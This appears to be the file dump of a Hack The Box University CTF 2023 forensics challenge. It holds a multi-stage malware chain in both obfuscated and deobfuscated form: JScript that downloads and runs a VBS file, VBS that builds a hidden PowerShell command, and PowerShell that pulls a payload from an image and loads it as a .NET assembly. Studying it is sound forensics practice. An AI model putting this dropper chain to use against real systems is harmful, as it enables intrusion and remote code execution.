https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/vb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/htb/deobf_js.txt:
--------------------------------------------------------------------------------
1 | var HTTPObject = new ActiveXObject("MSXML2.XMLHTTP.6.0");
2 | var FileSystemObject = new ActiveXObject("Scripting.FileSystemObject");
3 | var ShellObject = new ActiveXObject("WScript.Shell");
4 | var TmpPath = 'C:\\Windows\\Temp';
5 | var Filename = FileSystemObject.GetTempName() + ".vbs";
6 | var FilePath = FileSystemObject.BuildPath(TmpPath, Filename);
7 | HTTPObject.open("GET", "http://infected.human.htb/d/BKtQR", false);
8 | HTTPObject.send();
9 |
10 | if (HTTPObject.status === 200) {
11 | var scriptText = HTTPObject.responseText;
12 | var FileHandle = FileSystemObject.CreateTextFile(FilePath, true);
13 | FileHandle.write(scriptText);
14 | FileHandle.close();
15 | var ExecutionHandle = ShellObject.Exec('wscript "' + FilePath + '"');
16 | while (ExecutionHandle.Status === 0) {
17 | WScript.Sleep(100);
18 | }
19 | FileSystemObject.DeleteFile(FilePath);
20 |
21 | } else {
22 | WScript.Echo("Fatal: " + HTTPObject.status);
23 | }
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/htb/deobf_vbs.txt:
--------------------------------------------------------------------------------
1 | obfuscated_variable = "Jem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVQByem9tYmllcGwem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJwBoem9tYmllcHQem9tYmllcdem9tYmllcBwem9tYmllcDoem9tYmllcLwem9tYmllcvem9tYmllcGkem9tYmllcbgBmem9tYmllcGUem9tYmllcYwB0em9tYmllcGUem9tYmllcZem9tYmllcem9tYmllcuem9tYmllcGgem9tYmllcdQBtem9tYmllcGEem9tYmllcbgem9tYmllcuem9tYmllcGgem9tYmllcdem9tYmllcBiem9tYmllcC8em9tYmllcVwBKem9tYmllcHYem9tYmllcZQBYem9tYmllcDcem9tYmllcMQBhem9tYmllcGcem9tYmllcbQB" & a & b & a & "em9tYmllcFEem9tYmllcNgBHem9tYmllcHcem9tYmllcXwem9tYmllcxem9tYmllcDYem9tYmllcOQem9tYmllc4em9tYmllcDcem9tYmllcNgem9tYmllcyem9tYmllcDYem9tYmllcNem9tYmllcem9tYmllcyem9tYmllcC4em9tYmllcagBwem9tYmllcGcem9tYmllcJwem9tYmllc7em9tYmllcCQem9tYmllcdwBlem9tYmllcGIem9...[SNIP]..."
2 | obfuscated_variable = Replace( obfuscated_variable, a + b + a , "P")
3 | powershell_command = powershell_command & StrReverse("ys[ = d")
4 | powershell_command = powershell_command & StrReverse("eT.mets")
5 | powershell_command = powershell_command & StrReverse("ocne.tx")
6 | powershell_command = powershell_command & StrReverse("::]gnid")
7 | powershell_command = powershell_command & StrReverse("edocinU")
8 | powershell_command = powershell_command & StrReverse("rtSteG.")
9 | powershell_command = powershell_command & StrReverse("gni")
10 | ...[SNIP]...
11 | powershell_command = powershell_command & "dbzFGZtRYqCBgefVWmDfUZnbLpaQQTIAMcveTJekTjNZjNfCJawQsxvvTLaqAKZUciNlCQgVQFoKfnXYUTpOaNcbqsaDpdjNnDJymwidWxlLmZRoJmxzHcFtMNHFLqYxcpgFpHTQIJoIsDKygFhOhIUsFhmYGpMtHYXYriuBkzrHlGxHgtwOVBcJpaoSYXwYihoBDwDRSCDEGplfmoDjPrgYmdejlOxRRTwXXqUxtEpkdbzFGZtRYqCBgefVWmDfUZnbLpaQQTIAMcveTJekTjNZjNfCJawQsxvvTLaqAKZUciNlCQgVQFoKfnXYUTpOaNcbqsaDpdjNnDIhwiWILHovZEyZuwgHbTGwMVrwwjpWojiuZPXGPnkWzSsIhWOckYJSLGuGYaBQbdomrjcmnDF"
12 | powershell_command = powershell_command & "ZVNWqVGjwxwKYdAuCBFCwdFvnAC'')));"
13 | powershell_command = Replace(powershell_command, "TQIJoIsDKygFhOhIUsFhmYGpMtHYXYriuBkzrHlGxHgtwOVBcJpaoSYXwYihoBDwDRSCDEGplfmoDjPrgYmdejlOxRRTwXXqUxtEpkdbzFGZtRYqCBgefVWmDfUZnbLpaQQTIAMcveTJekTjNZjNfCJawQsxvvTLaqAKZUciNlCQgVQFoKfnXYUTpOaNcbqsaDpdjNnD", "e")
14 | powershell_command = Replace(powershell_command, "YdiovnqyjTDXTaRYzrOrPtPSPEkGydtHpsDzuMmtvwWDgfonHmlbiWofBzfzWwPCyghETBLJtSXhZTteJymwidWxlLmZRoJmxzHcFtMNHFLqYxcpgFpHeIhwiWILHovZEyZuwgHbTGwMVrwwjpWojiuZPXGPnkWzSsIhWOckYJSLGuGYaBQbdomrjcmnDFZVNWqVGjwx", "o")
15 | powershell_command = Replace(powershell_command, "ZjJMuHOyfLrFRZQLRAMejVORkrLmnSCXRqVNBLINqTtavYGXNKmWkKgLUKpRuknZoStcKiPTtlSLTzbLLKnqBLvCxwwfYDUEJVRbZAqnPXJFfwKgaKoaTyXvWlktaXauDNHvgmoqbgdjOoBAwieAxhmIQTQGWVjowvkJpSMpEPnfitrQGRfXaVLxUPAmLRGwRAEgjqTg", "s")
16 | powershell_command = Replace(powershell_command, "SjnKkClLMbtbUbEphNmdQTEXfhFHyXgQvKXvohDxuaGQdsTVSnrqEPEsLAdRQxDbDqFawzwRYThIFGZFjDIAEWMnWgxyLATxLKfXLJGtQgEqlXlrEBLbufduqlrgvcKaQAuxxmISiInqdFxetxSvuwcnvTQZlRnsnrezMZamRBgFTQGJcmEpKQISyYXRLVbdBQEdwdle", "t")
17 | powershell_command = Replace(powershell_command, "VXIxBYQSKDryEAULIfGtTdegkaavJdWnPtXZlxmbyRZbRztkgJXWSKYsPfdAvLjUlqQqikfohaKubLssSrhTyIatsqjlfjIBXVfmwFkVqYIyCtYmjprSExKIzpcAdoVBTPRwuxasqmXvYvnHQlXgZBCYBqolLMBaNbIspDogrWvPdQlBBtHAGkUozkbMEJZIHTuiLIxX", "a")
18 | ...[SNIP]...
19 | powershell_command = powershell_command & StrReverse("'DxujWO$ dnammoc- eliforPoN- ssapyb ycilopnoitucexe- neddih elytswodniw- exe.llehsrewop")
20 | script_object.Run "powershell -command " & powershell_command, 0, False
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/htb/final_powershell.txt:
--------------------------------------------------------------------------------
1 | $imageUrl = 'http://infected.zombie.htb/WJveX71agmOQ6Gw_1698762642.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('ZDVkZmYyMWIxN2VlLTFmNDgtNWM3NC1jOTM0LWQ3M2MyYTYzPW5la290JmFpZGVtPXRsYT90eHQucmVmc25hcnQvby9tb2MudG9wc3BwYS5mOTNjNi1nbmlrY2FoL2IvMHYvbW9jLnNpcGFlbGdvb2cuZWdhcm90c2VzYWJlcmlmLy86c3B0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/htb/js.txt:
--------------------------------------------------------------------------------
1 | var lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo = new ActiveXObject("MSXML2.XMLHTTP.6.0");
2 | var JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw = new ActiveXObject("Scripting.FileSystemObject");
3 | var CBZgIjkHfADIgnNwHIVgtNUBrjVWafHrRLSEDPUswrmjNaNRlTvDJdozVFfzVMHzjpdEoPlopkYPcunDXLgZbCcQToMaDqHieSCkYfzqatlzDRQLBtqFKLlIFmxbDebsFmXdhiHTvGzmMWEYMqzotmHetctmiYuMUuOQqaEEejfRnHyuiJAkwFYKwLrvfTVaxVzqMtWo = new ActiveXObject("WScript.Shell");
4 | var AWgjPuudKWaufCdsGlXcfGBXlWzhGnugaLFEZJkXljTIiTlWxLziYRhZzkEFdwJZiyWUhBJhdaulcmVYllmbyxEpozeZhAVxCXClTUUNYngPYhWwTcyNovmwukeWsnLJLifhihpqYKHbzEQKIknuNqTCdJWSnzlEIEhoNPhzhAXLCkxsMeeRXRsGrNCeOSIcnFkMnhoj = 'C:\\Windows\\Temp';
5 | var iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbiName = JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.GetTempName() + ".vbs";
6 | var iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi = JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.BuildPath(AWgjPuudKWaufCdsGlXcfGBXlWzhGnugaLFEZJkXljTIiTlWxLziYRhZzkEFdwJZiyWUhBJhdaulcmVYllmbyxEpozeZhAVxCXClTUUNYngPYhWwTcyNovmwukeWsnLJLifhihpqYKHbzEQKIknuNqTCdJWSnzlEIEhoNPhzhAXLCkxsMeeRXRsGrNCeOSIcnFkMnhoj, iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbiName);
7 | lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.open("GET", "http://infected.human.htb/d/BKtQR", false);
8 | lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.send();
9 |
10 | if (lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.status === 200) {
11 | var scriptText = lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.responseText;
12 | var niyXKljCzNIENaWUxwYBODsAbUBFKCJJDbfyisBKTJpULtjrXSJIFBuGWkcmuhgDVdoSEMJPHvMzQiawcsBNhsfKbJlyQjzKLgnECDbAprhNSnXpNJwbwMQZWzJFAaxCQavQsDuRRIYXARrTgOjQgNHKgerFZvrghSUylvwuvszeCUHWvaOxTjgJDUzNCjCHYBnfbGOX = JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.CreateTextFile(iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi, true);
13 | niyXKljCzNIENaWUxwYBODsAbUBFKCJJDbfyisBKTJpULtjrXSJIFBuGWkcmuhgDVdoSEMJPHvMzQiawcsBNhsfKbJlyQjzKLgnECDbAprhNSnXpNJwbwMQZWzJFAaxCQavQsDuRRIYXARrTgOjQgNHKgerFZvrghSUylvwuvszeCUHWvaOxTjgJDUzNCjCHYBnfbGOX.write(scriptText);
14 | niyXKljCzNIENaWUxwYBODsAbUBFKCJJDbfyisBKTJpULtjrXSJIFBuGWkcmuhgDVdoSEMJPHvMzQiawcsBNhsfKbJlyQjzKLgnECDbAprhNSnXpNJwbwMQZWzJFAaxCQavQsDuRRIYXARrTgOjQgNHKgerFZvrghSUylvwuvszeCUHWvaOxTjgJDUzNCjCHYBnfbGOX.close();
15 | var kFDpRbkGYzMjxpDvpsBUmWdRZQYKzHzicYnHeVAsyBErEExScslrucqNQomSurYvoaVCTILMrbSKgXeYCBiPqVYDhrOfNUdYGDYmDMHXaJRqZfRmNBivjAFdHQctMgOOYTbLIzTfMwiDriqYXdfJORQtnVlwEfumyikULcvhUBQOztBlzheoLivROSUFkYoEgWpzuyVe = CBZgIjkHfADIgnNwHIVgtNUBrjVWafHrRLSEDPUswrmjNaNRlTvDJdozVFfzVMHzjpdEoPlopkYPcunDXLgZbCcQToMaDqHieSCkYfzqatlzDRQLBtqFKLlIFmxbDebsFmXdhiHTvGzmMWEYMqzotmHetctmiYuMUuOQqaEEejfRnHyuiJAkwFYKwLrvfTVaxVzqMtWo.Exec('wscript "' + iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi + '"');
16 | while (kFDpRbkGYzMjxpDvpsBUmWdRZQYKzHzicYnHeVAsyBErEExScslrucqNQomSurYvoaVCTILMrbSKgXeYCBiPqVYDhrOfNUdYGDYmDMHXaJRqZfRmNBivjAFdHQctMgOOYTbLIzTfMwiDriqYXdfJORQtnVlwEfumyikULcvhUBQOztBlzheoLivROSUFkYoEgWpzuyVe.Status === 0) {
17 | WScript.Sleep(100);
18 | }
19 | JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.DeleteFile(iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi);
20 |
21 | } else {
22 | WScript.Echo("Fatal: " + lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.status);
23 | }
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/htb/powershell.txt:
--------------------------------------------------------------------------------
1 | $Codigo = 'Jem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVQByem9tYmllcGwem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJwBoem9tYmllcHQem9tYmllcdem9tYmllcBwem9tYmllcDoem9tYmllcLwem9tYmllcvem9tYmllcGkem9tYmllcbgBmem9tYmllcGUem9tYmllcYwB0em9tYmllcGUem9tYmllcZem9tYmllcem9tYmllcuem9tYmllcHoem9tYmllcbwBtem9tYmllcGIem9tYmllcaQBlem9tYmllcC4em9tYmllcaem9tYmllcB0em9tYmllcGIem9tYmllcLwBXem9tYmllcEoem9tYmllcdgBlem9tYmllcFgem9tYmllcNwem9tYmllcxem9tYmllcGEem9tYmllcZwBtem9tYmllcE8em9tYmllcUQem9tYmllc2em9tYmllcEcem9tYmllcdwBfem9tYmllcDEem9tYmllcNgem9tYmllc5em9tYmllcDgem9tYmllcNwem9tYmllc2em9tYmllcDIem9tYmllcNgem9tYmllc0em9tYmllcDIem9tYmllcLgBqem9tYmllcHem9tYmllcem9tYmllcZwem9tYmllcnem9tYmllcDsem9tYmllcJem9tYmllcB3em9tYmllcGUem9tYmllcYgBDem9tYmllcGwem9tYmllcaQBlem9tYmllcG4em9tYmllcdem9tYmllcem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcBOem9tYmllcGUem9tYmllcdwem9tYmllctem9tYmllcE8em9tYmllcYgBqem9tYmllcGUem9tYmllcYwB0em9tYmllcCem9tYmllcem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBOem9tYmllcGUem9tYmllcdem9tYmllcem9tYmllcuem9tYmllcFcem9tYmllcZQBiem9tYmllcEMem9tYmllcbem9tYmllcBpem9tYmllcGUem9tYmllcbgB0em9tYmllcDsem9tYmllcJem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcQgB5em9tYmllcHQem9tYmllcZQBzem9tYmllcCem9tYmllcem9tYmllcPQem9tYmllcgem9tYmllcCQem9tYmllcdwBlem9tYmllcGIem9tYmllcQwBsem9tYmllcGkem9tYmllcZQBuem9tYmllcHQem9tYmllcLgBEem9tYmllcG8em9tYmllcdwBuem9tYmllcGwem9tYmllcbwBhem9tYmllcGQem9tYmllcRem9tYmllcBhem9tYmllcHQem9tYmllcYQem9tYmllcoem9tYmllcCQem9tYmllcaQBtem9tYmllcGEem9tYmllcZwBlem9tYmllcFUem9tYmllccgBsem9tYmllcCkem9tYmllcOwem9tYmllckem9tYmllcGkem9tYmllcbQBhem9tYmllcGcem9tYmllcZQBUem9tYmllcGUem9tYmllceem9tYmllcB0em9tYmllcCem9tYmllcem9tYmllcPQem9tYmllcgem9tYmllcFsem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBUem9tYmllcGUem9tYmllceem9tYmllcB0em9tYmllcC4em9tYmllcRQBuem9tYmllcGMem9tYmllcbwBkem9tYmllcGkem9tYmllcbgBnem9tYmllcF0em9tYmllcOgem9tYmllc6em9tYmllcFUem9tYmllcVem9tYmllcBGem9tYmllcDgem9tYmllcLgBHem9tYmllcGUem9tYmllcdem9tYmllcBTem9tYmllcHQem9tYmllccgBpem9tYmllcG4em9tYmllcZwem9tYmllcoem9tYmllcCQem9tYmllcaQBtem9tYmllcGEem9tYmllcZwBlem9tYmllcEIem9tYmllceQB0em9tYmllcGUem9tYmllccwem9tYmllcpem9tYmllcDsem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcem9tYmllcnem9tYmllcDwem9tYmllcPem9tYmllcBCem9tYmllcEEem9tYmllcUwBFem9tYmllcDYem9tYmllcNem9tYmllcBfem9tYmllcFMem9tYmllcVem9tYmllcBBem9tYmllcFIem9tYmllcVem9tYmllcem9tYmllc+em9tYmllcD4em9tYmllcJwem9tYmllc7em9tYmllcCQem9tYmllcZQBuem9tYmllcGQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcem9tYmllcnem9tYmllcDwem9tYmllcPem9tYmllcBCem9tYmllcEEem9tYmllcUwBFem9tYmllcDYem9tYmllcNem9tYmllcBfem9tYmllcEUem9tYmllcTgBEem9tYmllcD4em9tYmllcPgem9tYmllcnem9tYmllcDsem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcCem9tYmllcem9tYmllcPQem9tYmllcgem9tYmllcCQem9tYmllcaQBtem9tYmllcGEem9tYmllcZwBlem9tYmllcFQem9tYmllcZQB4em9tYmllcHQem9tYmllcLgBJem9tYmllcG4em9tYmllcZem9tYmllcBlem9tYmllcHgem9tYmllcTwBmem9tYmllcCgem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcpem9tYmllcDsem9tYmllcJem9tYmllcBlem9tYmllcG4em9tYmllcZem9tYmllcBJem9tYmllcG4em9tYmllcZem9tYmllcBlem9tYmllcHgem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVem9tYmllcBlem9tYmllcHgem9tYmllcdem9tYmllcem9tYmllcuem9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcBPem9tYmllcGYem9tYmllcKem9tYmllcem9tYmllckem9tYmllcGUem9tYmllcbgBkem9tYmllcEYem9tYmllcbem9tYmllcBhem9tYmllcGcem9tYmllcKQem9tYmllc7em9tYmllcCQem9tYmllccwB0em9tYmllcGEem9tYmllccgB0em9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcZwBlem9tYmllcCem9tYmllcem9tYmllcMem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcYQBuem9tYmllcGQem9tYmllcIem9tYmllcem9tYmllckem9tYmllcGUem9tYmllcbgBkem9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcZwB0em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcDsem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcCem9tYmllcem9tYmllcKwem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcuem9tYmllcEwem9tYmllcZQBuem9tYmllcGcem9tYmllcdem9tYmllcBoem9tYmllcDsem9tYmllcJem9tYmllcBiem9tYmllcGEem9tYmllccwBlem9tYmllcDYem9tYmllcNem9tYmllcBMem9tYmllcGUem9tYmllcbgBnem9tYmllcHQem9tYmllcaem9tYmllcem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcem9tYmllckem9tYmllcGUem9tYmllcbgBkem9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcIem9tYmllcem9tYmllckem9tYmllcHMem9tYmllcdem9tYmllcBhem9tYmllcHIem9tYmllcdem9tYmllcBJem9tYmllcG4em9tYmllcZem9tYmllcBlem9tYmllcHgem9tYmllcOwem9tYmllckem9tYmllcGIem9tYmllcYQBzem9tYmllcGUem9tYmllcNgem9tYmllc0em9tYmllcEMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVem9tYmllcBlem9tYmllcHgem9tYmllcdem9tYmllcem9tYmllcuem9tYmllcFMem9tYmllcdQBiem9tYmllcHMem9tYmllcdem9tYmllcByem9tYmllcGkem9tYmllcbgBnem9tYmllcCgem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcCwem9tYmllcIem9tYmllcem9tYmllckem9tYmllcGIem9tYmllcYQBzem9tYmllcGUem9tYmllcNgem9tYmllc0em9tYmllcEwem9tYmllcZQBuem9tYmllcGcem9tYmllcdem9tYmllcBoem9tYmllcCkem9tYmllcOwem9tYmllckem9tYmllcGMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcQgB5em9tYmllcHQem9tYmllcZQBzem9tYmllcCem9tYmllcem9tYmllcPQem9tYmllcgem9tYmllcFsem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBDem9tYmllcG8em9tYmllcbgB2em9tYmllcGUem9tYmllccgB0em9tYmllcF0em9tYmllcOgem9tYmllc6em9tYmllcEYem9tYmllccgBvem9tYmllcG0em9tYmllcQgBhem9tYmllcHMem9tYmllcZQem9tYmllc2em9tYmllcDQem9tYmllcUwB0em9tYmllcHIem9tYmllcaQBuem9tYmllcGcem9tYmllcKem9tYmllcem9tYmllckem9tYmllcGIem9tYmllcYQBzem9tYmllcGUem9tYmllcNgem9tYmllc0em9tYmllcEMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcKQem9tYmllc7em9tYmllcCQem9tYmllcbem9tYmllcBvem9tYmllcGEem9tYmllcZem9tYmllcBlem9tYmllcGQem9tYmllcQQBzem9tYmllcHMem9tYmllcZQBtem9tYmllcGIem9tYmllcbem9tYmllcB5em9tYmllcCem9tYmllcem9tYmllcPQem9tYmllcgem9tYmllcFsem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBSem9tYmllcGUem9tYmllcZgBsem9tYmllcGUem9tYmllcYwB0em9tYmllcGkem9tYmllcbwBuem9tYmllcC4em9tYmllcQQBzem9tYmllcHMem9tYmllcZQBtem9tYmllcGIem9tYmllcbem9tYmllcB5em9tYmllcF0em9tYmllcOgem9tYmllc6em9tYmllcEwem9tYmllcbwBhem9tYmllcGQem9tYmllcKem9tYmllcem9tYmllckem9tYmllcGMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcQgB5em9tYmllcHQem9tYmllcZQBzem9tYmllcCkem9tYmllcOwem9tYmllckem9tYmllcHQem9tYmllceQBwem9tYmllcGUem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBsem9tYmllcG8em9tYmllcYQBkem9tYmllcGUem9tYmllcZem9tYmllcBBem9tYmllcHMem9tYmllccwBlem9tYmllcG0em9tYmllcYgBsem9tYmllcHkem9tYmllcLgBHem9tYmllcGUem9tYmllcdem9tYmllcBUem9tYmllcHkem9tYmllccem9tYmllcBlem9tYmllcCgem9tYmllcJwBGem9tYmll